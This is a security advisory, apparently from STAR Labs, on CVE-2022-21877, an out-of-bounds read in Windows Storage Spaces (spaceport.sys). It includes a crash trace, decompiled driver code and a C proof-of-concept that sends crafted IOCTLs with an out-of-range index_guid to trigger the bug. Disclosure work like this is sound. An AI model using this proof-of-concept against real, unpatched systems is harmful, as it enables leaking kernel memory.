Summary

Product Storage Spaces
Vendor Microsoft
Severity Medium
Affected Versions spaceport.sys in Windows 10 and Windows Server 2019
Tested Versions spaceport.sys in Windows 10 and Windows Server 2019
CVE Identifier CVE-2022-21877

CVSS3.1 Scoring System

Base Score: 5.5 (Medium)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) None
Availability (A) None

Product Overview

Storage Spaces is a technology in Windows and Windows Server that can help protect your data from drive failures. It is conceptually similar to RAID, implemented in software. You can use Storage Spaces to group three or more drives together into a storage pool and then use capacity from that Pool to create Storage Spaces. These typically store extra copies of your data, so if one of your drives fails, you still have an intact copy of your data. If you run low on capacity, just add more drives to the storage pool. By abusing storage pools that are authorized for common users to access, storage space object and tier object. An attacker can set the properties of a tier object to trigger the bug, through which it is possible to leak data in the kernel if the appropriate value is passed.

Vulnerability Description

During our research, we noticed that the operations on storage space are handled by the program SpaceAgent.exe, this program will create IOCTL requests to the spaceport.sys driver for processing (It can be said that the spaceport.sys driver will process all requests from SpaceAgent.exe). Operations can be seen on the interface of SpaceAgent.exe, such as creating Pool, creating Storage Space, renaming Pool, deleting Pool, etc. Figure 1 below is an example of GUI of storage space with 1 Pool with the name " TestStoragePool01" has a size of 60GB

Below is the crash context:

TRAP_FRAME:  ffffef088e73a330 -- (.trap 0xffffef088e73a330)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffff9788fed73bf0 rbx=0000000000000000 rcx=0000000010100ff0
rdx=ffff97890ef0a058 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8043a702046 rsp=ffffef088e73a4c8 rbp=0000000001010101
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=ffff9788fee09010 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
spaceport!SDB_DRIVE::GetFaultDomainId+0x82:
fffff804`3a702046 488b02          mov     rax,qword ptr [rdx] ds:ffff9789`0ef0a058=????????????????
Resetting default scope

LAST_CONTROL_TRANSFER:  from fffff80436312742 to fffff804361fedc0

STACK_TEXT:  
ffffef08`8e7398d8 fffff804`36312742 : ffffef08`8e739a40 fffff804`3617d210 fffff804`3a6c0000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffef08`8e7398e0 fffff804`36311d26 : fffff804`00000003 ffffef08`8e739a40 fffff804`3620be10 ffffef08`8e739f90 : nt!KiBugCheckDebugBreak+0x12
ffffef08`8e739940 fffff804`361f7027 : 00000000`00000000 00000000`00000000 ffff9789`0ef0a058 ffff9789`0ef0a058 : nt!KeBugCheck2+0x946
ffffef08`8e73a050 fffff804`3624a1a9 : 00000000`00000050 ffff9789`0ef0a058 00000000`00000000 ffffef08`8e73a330 : nt!KeBugCheckEx+0x107
ffffef08`8e73a090 fffff804`3609f500 : 00000000`00000000 00000000`00000000 ffffef08`8e73a3b0 00000000`00000000 : nt!MiSystemFault+0x18cdf9
ffffef08`8e73a190 fffff804`3620505e : ffffef08`8e73a421 00000000`00000020 00000000`00000000 ffff9788`fdc02000 : nt!MmAccessFault+0x400
ffffef08`8e73a330 fffff804`3a702046 : fffff804`3a72dd0b 00000000`58587053 ffff9789`038f9210 ffff9789`00000000 : nt!KiPageFault+0x35e
ffffef08`8e73a4c8 fffff804`3a72dd0b : 00000000`58587053 ffff9789`038f9210 ffff9789`00000000 00000000`00000000 : spaceport!SDB_DRIVE::GetFaultDomainId+0x82
ffffef08`8e73a4d0 fffff804`3a72055e : 01010101`10000000 ffff9789`03bf8390 00000000`00000000 fffff804`3a6cded2 : spaceport!SDB_POOL_CONFIG::IncludeDrives+0xca93
ffffef08`8e73a520 fffff804`3a749d6c : ffff9788`feacaa90 ffff9789`07a3bc00 ffff9789`03fc1110 ffff9788`fed90b30 : spaceport!SDB_POOL_CONFIG::ExtendSpace+0xea
ffffef08`8e73a5a0 fffff804`3a746113 : ffff9789`03fc1110 ffff9788`fed90b30 ffff9789`07a3bc90 ffff9789`05fb1480 : spaceport!SDB_POOL_CONFIG::ExtendTierTransaction+0xac
ffffef08`8e73a610 fffff804`3a72dc80 : 00000000`00000028 ffffef08`8e73a6d0 ffff9788`fed90b30 00000000`00000008 : spaceport!SP_POOL::SetTierInfoTransaction+0x16b
ffffef08`8e73a640 fffff804`3a721d50 : fffff804`36780bc0 ffffef08`8e73a701 ffffef08`8e73a6e8 ffffef08`8e73a6e0 : spaceport!SP_POOL::DispatchTransaction+0xd09c
ffffef08`8e73a680 fffff804`3a73b753 : 00000000`00000000 00000000`00000000 ffff9789`05fb1480 ffff9788`fed90b30 : spaceport!SP_POOL::ExecuteTransactionInternal+0xac
ffffef08`8e73a700 fffff804`3a72e0ee : ffff9789`04249178 00000000`00000001 ffff9789`04249060 00000000`00000000 : spaceport!SpIoctlSetTierInfo+0xff
ffffef08`8e73a780 fffff804`3a6d3c60 : ffff9789`04249060 00000000`00000000 00000000`0000020c 00000000`00000000 : spaceport!SpControlDeviceControl+0xbf3e
ffffef08`8e73a7d0 fffff804`3608f865 : 01000000`00100000 00000000`00000000 ffff9789`05fb1480 fffff804`361ca66b : spaceport!SpDispatch+0x20
ffffef08`8e73a800 fffff804`36475588 : ffffef08`8e73ab80 ffff9789`04249060 00000000`00000001 ffff9789`040950c0 : nt!IofCallDriver+0x55
ffffef08`8e73a840 fffff804`36474e55 : 00000000`00e7d40c ffffef08`8e73ab80 00000000`00000005 ffffef08`8e73ab80 : nt!IopSynchronousServiceTail+0x1a8
ffffef08`8e73a8e0 fffff804`36474856 : 00000000`00feb000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x5e5
ffffef08`8e73aa20 fffff804`362088b5 : 00000000`00000000 00000000`00000000 00000000`77566d4d ffffef08`8e73aae8 : nt!NtDeviceIoControlFile+0x56
ffffef08`8e73aa90 00000000`77b41cfc : 00000000`77b41933 00000023`77bc2c5c 00007ffd`e1190023 00000000`012608a8 : nt!KiSystemServiceCopyEnd+0x25
00000000`00cbed08 00000000`77b41933 : 00000023`77bc2c5c 00007ffd`e1190023 00000000`012608a8 00000000`00dba7b0 : wow64cpu!CpupSyscallStub+0xc
00000000`00cbed10 00000000`77b411b9 : 00000000`00dbfc48 00007ffd`e11939b4 00000000`00cbede0 00007ffd`e1193aaf : wow64cpu!DeviceIoctlFileFault+0x31
00000000`00cbedc0 00007ffd`e11938c9 : 00000000`00feb000 00000000`00ad00e8 00000000`00000000 00000000`00cbf630 : wow64cpu!BTCpuSimulate+0x9
00000000`00cbee00 00007ffd`e11932bd : 00000000`00000000 00000000`011b2ad8 00000000`00000000 00000000`00000000 : wow64!RunCpuSimulation+0xd
00000000`00cbee30 00007ffd`e1303652 : 00000000`00000000 00000000`00000010 00007ffd`e1361a90 00000000`00fea000 : wow64!Wow64LdrpInitialize+0x12d
00000000`00cbf0e0 00007ffd`e12a4ceb : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000001 : ntdll!LdrpInitializeProcess+0x1932
00000000`00cbf510 00007ffd`e12a4b73 : 00000000`00000000 00007ffd`e1230000 00000000`00000000 00000000`00fec000 : ntdll!LdrpInitialize+0x15f
00000000`00cbf5b0 00007ffd`e12a4b1e : 00000000`00cbf630 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrpInitialize+0x3b
00000000`00cbf5e0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe


THREAD_SHA1_HASH_MOD_FUNC:  19de1cb9705187d5f3b9dcb7f83ecd4abd43962d

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  9986c6a75f74cbcaccd52ef5f8cc5014757a42a1

THREAD_SHA1_HASH_MOD:  8dbb2069fd7e6764e3a8a7d83a5c9eafc310f6e2

FOLLOWUP_IP: 
spaceport!SDB_DRIVE::GetFaultDomainId+82
fffff804`3a702046 488b02          mov     rax,qword ptr [rdx]

FAULT_INSTR_CODE:  49028b48

SYMBOL_STACK_INDEX:  7

SYMBOL_NAME:  spaceport!SDB_DRIVE::GetFaultDomainId+82

FOLLOWUP_NAME:  MachineOwner

STACK_COMMAND:  .thread ; .cxr ; kb

BUCKET_ID_FUNC_OFFSET:  82

FAILURE_BUCKET_ID:  AV_R_INVALID_spaceport!SDB_DRIVE::GetFaultDomainId

BUCKET_ID:  AV_R_INVALID_spaceport!SDB_DRIVE::GetFaultDomainId

PRIMARY_PROBLEM_CLASS:  AV_R_INVALID_spaceport!SDB_DRIVE::GetFaultDomainId

Design of Storage Spaces

After reading some documents of Microsoft and reversing the SpaceAgent.exe file, in addition to using the interface of SpaceAgent.exe, we can also perform operations on storage space through 2 other methods:

  1. Using Storage Management API Classes
  2. Open the file device: \\?\ROOT#SPACEPORT#0000#{GUID} where the GUID value may be different on each machine. Sending IOCTLs to the spaceport.sys, we can do things like SpaceAgent.exe

Here I choose the second way to be able to modify the data sent to the driver.

Spaceport.sys

By analyzing the spaceport.sys driver, we can see that it handles many input/output control requests (IOCTL) through separate handle functions. In the DriverEntry function, we can find a code snippet that handles IOCTLs through functions like SpControl* and SpSpace*. Specifically, we’ll focus on the SpControlDeviceControl function, which was previously mentioned as the approach I used.

To summarize, spaceport.sys driver manages several IOCTLs through separate handle functions, and we’ll focus on the SpControlDeviceControl function to understand its behavior.

  DriverObject->MajorFunction[0] = SpSuccess;
  DriverObject->MajorFunction[2] = SpSuccess;
  DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[9] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[13] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[16] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[18] = SpSuccess;
  DriverObject->MajorFunction[22] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[23] = (PDRIVER_DISPATCH)SpDispatch;
  DriverObject->MajorFunction[27] = (PDRIVER_DISPATCH)SpDispatch;
  qword_1C0052660 = (__int64)SpControlDeviceControl;
  qword_1C0052668 = (__int64)SpControlScsi;
  qword_1C0052670 = (__int64)SpControlShutdown;
  qword_1C00526C8 = (__int64)SpControlPnp;
  qword_1C0052528 = (__int64)SpSpaceReadWrite;
  qword_1C0052530 = (__int64)SpSpaceReadWrite;
  qword_1C0052558 = (__int64)SpSpaceFlush;
  qword_1C0052578 = (__int64)SpSpaceFileSystemControl;
  qword_1C0052580 = (__int64)SpSpaceDeviceControl;
  qword_1C0052588 = (__int64)SpSpaceScsi;
  qword_1C00525C0 = (__int64)SpSpacePower;
  qword_1C00525C8 = (__int64)SpSpaceWmi;
  qword_1C00525E8 = (__int64)SpSpacePnp;
  qword_1C0052608 = (__int64)SpControlSkip;
  qword_1C0052610 = (__int64)SpControlSkip;
  qword_1C0052638 = (__int64)SpControlSkip;
  qword_1C0052658 = (__int64)SpControlSkip;
  qword_1C00526A0 = (__int64)SpControlSkip;
  qword_1C00526A8 = (__int64)SpControlSkip;
  qword_1C0052590 = (__int64)SpSuccess;
  DriverObject->DriverUnload = (PDRIVER_UNLOAD)SpUnload; 

In the SpControlDeviceControl function, we can see that the driver checks the IoControlCodes to select the handler functions.

  control_code = v2->Parameters.IoControlCode;
  if ( control_code > 0xE7C42C )
  {
    if ( control_code > 0xE7C840 )
    {
      if ( control_code <= 0xE7D40C )
      {
        if ( control_code == 0xE7D40C )
        {
          v11 = SpIoctlSetTierInfo(a2);
        }
        else
        {
          v49 = control_code - 0xE7C844;
          if ( v49 )
          {
            v50 = v49 - 4;
            if ( v50 )
            {
              v51 = v50 - 4;
              if ( v51 )
              {
                v52 = v51 - 4;
                if ( v52 )
                {
                  v53 = v52 - 956;
                  if ( v53 )
                  {
                    if ( v53 != 1024 )
                      goto LABEL_127;
                    v11 = SpIoctlSetEnclosureInfo(a2);
                  }
                  else
                  {
                    v11 = SpIoctlStopTask(a2);
                  }
                }
                else
                {
                  v11 = SpIoctlSetSpacesFlags(a2);
                }
              }
              else
              {
                v11 = SpIoctlSetSpaceQos(a2);
              }
            }
            else
            {
              v11 = SpIoctlAttachSpaceRemote(a2);
            }
          }
          else
          {
            v11 = SpIoctlUnlinkSpace(a2);
          }
        }
      } 

Do not check value index_guid in SpIoctlCreateTier

We observe that the function SpIoctlCreateTier has IoControlCode = 0xE7D410:

if ( object_tier )
{
  SDB_TIER::Initialize(object_tier);
  object_tier->guid_tier = buffer_in->guid_tier;
  v5 = SpStringCchCopyHelper(buffer_in->name_tier, 0x100u, &object_tier->name);
  if ( v5 >= 0 )
  {
    v5 = SpStringCchCopyHelper(buffer_in->des, 0x400u, &object_tier->des);
    if ( v5 >= 0 )
    {
      object_tier->field_44 = buffer_in->field_A38;
      *(_OWORD *)object_tier->field_48 = *(_OWORD *)buffer_in->field_A58;
      *(_OWORD *)object_tier->index_guid = *(_OWORD *)buffer_in->index_guid; // not check index_guid
      *(_OWORD *)object_tier->field_68 = *(_OWORD *)buffer_in->data;
      object_tier->field_78 = *(_QWORD *)&buffer_in->data[16];
      object_tier->field_8C = buffer_in->field_A78;
      object_tier->len_guid = buffer_in->len_guid;

The function SpIoctlCreateTier process data bufer_in from usermode, buffer_in has the following structure:

struct __declspec(align(8)) _SP_TIER_INFO
{
  int max_len;
  int len;
  GUID poolID;
  GUID guid_tier;
  GUID spaceID;
  wchar_t name_tier[256];
  wchar_t des[1024];
  int field_A38;
  BYTE gapA3C[4];
  __int64 field_A40;
  BYTE gapA48[16];
  int index_guid;
  char field_A6C[12];
  char field_A68[16];
  int field_A78;
  int len_guid;
  int offset_guid;
  BYTE data[48];
};

The function will copy the data from buffer_in to object_tier to use for Tier operations. object_tier has the following structure:

struct SDB_TIER
{
  SDB_TIER_VTABLE_0_00000001C0045120::vtable *vftbl_0_00000001C0045120;
  _BYTE gap8[24];
  GUID guid_tier;
  wchar_t *name;
  wchar_t *des;
  _BYTE gap3C[4];
  int field_44;
  __int64 field_48;
  __int64 field_50;
  int index_guid;
  char field_58[12];
  int field_68;
  int field_6C;
  int field_70;
  int field_74;
  __int64 field_78;
  _BYTE gap80[12];
  int field_8C;
  int len_guid;
  GUID *list_GUID;
  _BYTE gap9C[32];
  __int64 fieldC0;
  __int64 fieldC8;
  __int64 field_D0;
};

However, function SpIoctlCreateTier did not check the index_guid values of buffer_in. We can control these values to trigger the out of bounds read bug by calling the function SpIoctlSetTierInfo.   The flow of execution of the SpIoctlSetTierInfo function is as follows:

When calling the SpIoctlSetTierInfo function, the driver will get the corresponding object_tier to process. To the SDB_DRIVE::GetFaultDomainId function, the driver gets the pre-assigned index_guid value to retrieve the value resulting in an out of bounds read bug. We can observe the function SDB_DRIVE::GetFaultDomainId causing the bug.

  unk_object = (__int64 *)this->gapC8;
  v3 = 0i64;
  switch ( index_guid )
  {
    case 1:
      return &this->uid3;
    case 2:
      v4 = *(_QWORD *)&this->uid1.Data1 - *(_QWORD *)&GUID_NULL.Data1;
      if ( !v4 )
        v4 = *(_QWORD *)this->uid1.Data4 - *(_QWORD *)GUID_NULL.Data4;
      if ( v4 )
        return &this->uid1;
      break;
    case 3:
      v5 = *(_QWORD *)&this->uid2.Data1 - *(_QWORD *)&GUID_NULL.Data1;
      if ( !v5 )
        v5 = *(_QWORD *)this->uid2.Data4 - *(_QWORD *)GUID_NULL.Data4;
      if ( v5 )
        return &this->uid2;
      break;
  }
  if ( unk_object )
  {
    v6 = 2i64 * (unsigned int)(index_guid - 2);
    guid = (GUID *)&unk_object[v6 + 11];        // vul here
    v8 = *(_QWORD *)&guid->Data1 - *(_QWORD *)&GUID_NULL.Data1;
    if ( *(_QWORD *)&guid->Data1 == *(_QWORD *)&GUID_NULL.Data1 )
      v8 = *(_QWORD *)guid->Data4 - *(_QWORD *)GUID_NULL.Data4;
    if ( v8 )
      v3 = &unk_object[v6 + 11];
  }

In short, to trigger the bug, we will do the following:

  1. Get pool id
  2. Create storage space
  3. Create Tier with large enough index_guid value
  4. Call SpIoctlSetTierInfo to trigger the bug.

Attack Conditions & Constraints

To be able to proceed to set space info, the driver will check if the user has access to that Pool object in the SpAccessCheckPool function. Basically the SpAccessCheckPool function will call the SeAccessCheck API to check access via Security Descriptor.

InputBufferLength = v1->Parameters.InputBufferLength;
  if ( InputBufferLength >= 0xAB0 )
  {
    buffer_in = (_SP_TIER_INFO *)a1->AssociatedIrp.SystemBuffer;
    if ( InputBufferLength == buffer_in->len )
    {
      v7 = SpFindPoolById(&buffer_in->poolID);
      v8 = (__int64)v7;
      if ( v7 )
      {
        v5 = SpAccessCheckPool(v7, a1);
        if ( v5 >= 0 )
        {
          v9 = &buffer_in->spaceID;

The code that checks the user’s permission to the object pool in the function SpIoctlCreateTier.

In addition, on the victim machine must be created at least 1 pool and common user can access.

Note By default, the Pool object is created with administrative access, which means that regular users are not granted access to it. However, it is possible to assign access rights to common users using the Storage Management API. Here is a code snippet that demonstrates how to set access rights for a Pool object to another user.

Proof-of-Concept (PoC)

hObject = CreateFileA(dev_vul,
    FILE_READ_ACCESS | FILE_WRITE_ACCESS,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    0,
    NULL);

if (hObject != INVALID_HANDLE_VALUE)
{
    // 1. Create Space
    long size = 0;
    char* data1 = read_file((char*)"data_createspace.bin", &size);
    char* tmp = (char*)malloc(10);
    DWORD retByte = 0;
    _data_cspaces* data_space = (_data_cspaces*)malloc(size);
    memset(data_space, 0, size);
    memcpy(data_space, data1, size);
    myGUIDFromString(L"{65878b15-936c-48f6-b626-2186ea83e6d0}", &data_space->poolID); // get poolID via command Get-StoragePool | Select *

    GUID guid_space;
    UuidCreate(&guid_space);
    data_space->spaceID = guid_space;
    data_space->val2 = 0;
    DeviceIoControl(hObject, 0xe7c810, data_space, size, tmp, 10, (LPDWORD)&retByte, 0);// create space

    //2. Create Tier
    _SP_TIER_INFO* data_ctier = (_SP_TIER_INFO*)malloc(sizeof(_SP_TIER_INFO));
    memset(data_ctier, 0x1, sizeof(_SP_TIER_INFO));
    data_ctier->field_A38 = 1;
    data_ctier->index_guid = 0xffffffff;
    memset(&data_ctier->name_tier, 0, 256 * 2);
    memset(&data_ctier->des, 0, 1024 * 2);

    myGUIDFromString(L"{65878b15-936c-48f6-b626-2186ea83e6d0}", &data_ctier->poolID);
    data_ctier->spaceID = guid_space;
    GUID guid_tier;
    UuidCreate(&guid_tier);
    data_ctier->guid_tier = guid_tier;
    data_ctier->len = sizeof(_SP_TIER_INFO);
    data_ctier->len_guid = 0; 
    data_ctier->offset_guid = 0; 

    DeviceIoControl(hObject, 0xE7D410, data_ctier, sizeof(_SP_TIER_INFO), tmp, 10, (LPDWORD)&retByte, 0);
    // 3. Set tier info 
    _SP_TIER_INFO* tier_info = (_SP_TIER_INFO*)malloc(sizeof(_SP_TIER_INFO));
    memset(tier_info, 1, sizeof(_SP_TIER_INFO));
    memset(&tier_info->name_tier, 0, 256 * 2);
    memset(&tier_info->des, 0, 1024 * 2);

    myGUIDFromString(L"{65878b15-936c-48f6-b626-2186ea83e6d0}", &tier_info->poolID);
    tier_info->spaceID = guid_space;
    tier_info->guid_tier = guid_tier;
    tier_info->len = sizeof(_SP_TIER_INFO);
    tier_info->len_guid = 0;
    tier_info->offset_guid = 0;
    DeviceIoControl(hObject, 0xE7D40C, tier_info, sizeof(_SP_TIER_INFO), tmp, 10, (LPDWORD)&retByte, 0);

    if (debug)
    {
        DWORD err = GetLastError();
        printf("Handle %d GLE 0x%x Device %s\n", hObject, err, dev_vul);
    }
    free(tmp);
    free(data_space);
    free(data_ctier);
    printf("Checking target index %d\n", i);

    CloseHandle(hObject);
}

Credits

Lê Hữu Quang Linh (@linhlhq) of of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2021-12-23 Vendor Disclosure
  • 2021-12-24 Initial Vendor Contact
  • 2022-01-11 Vendor Patch Release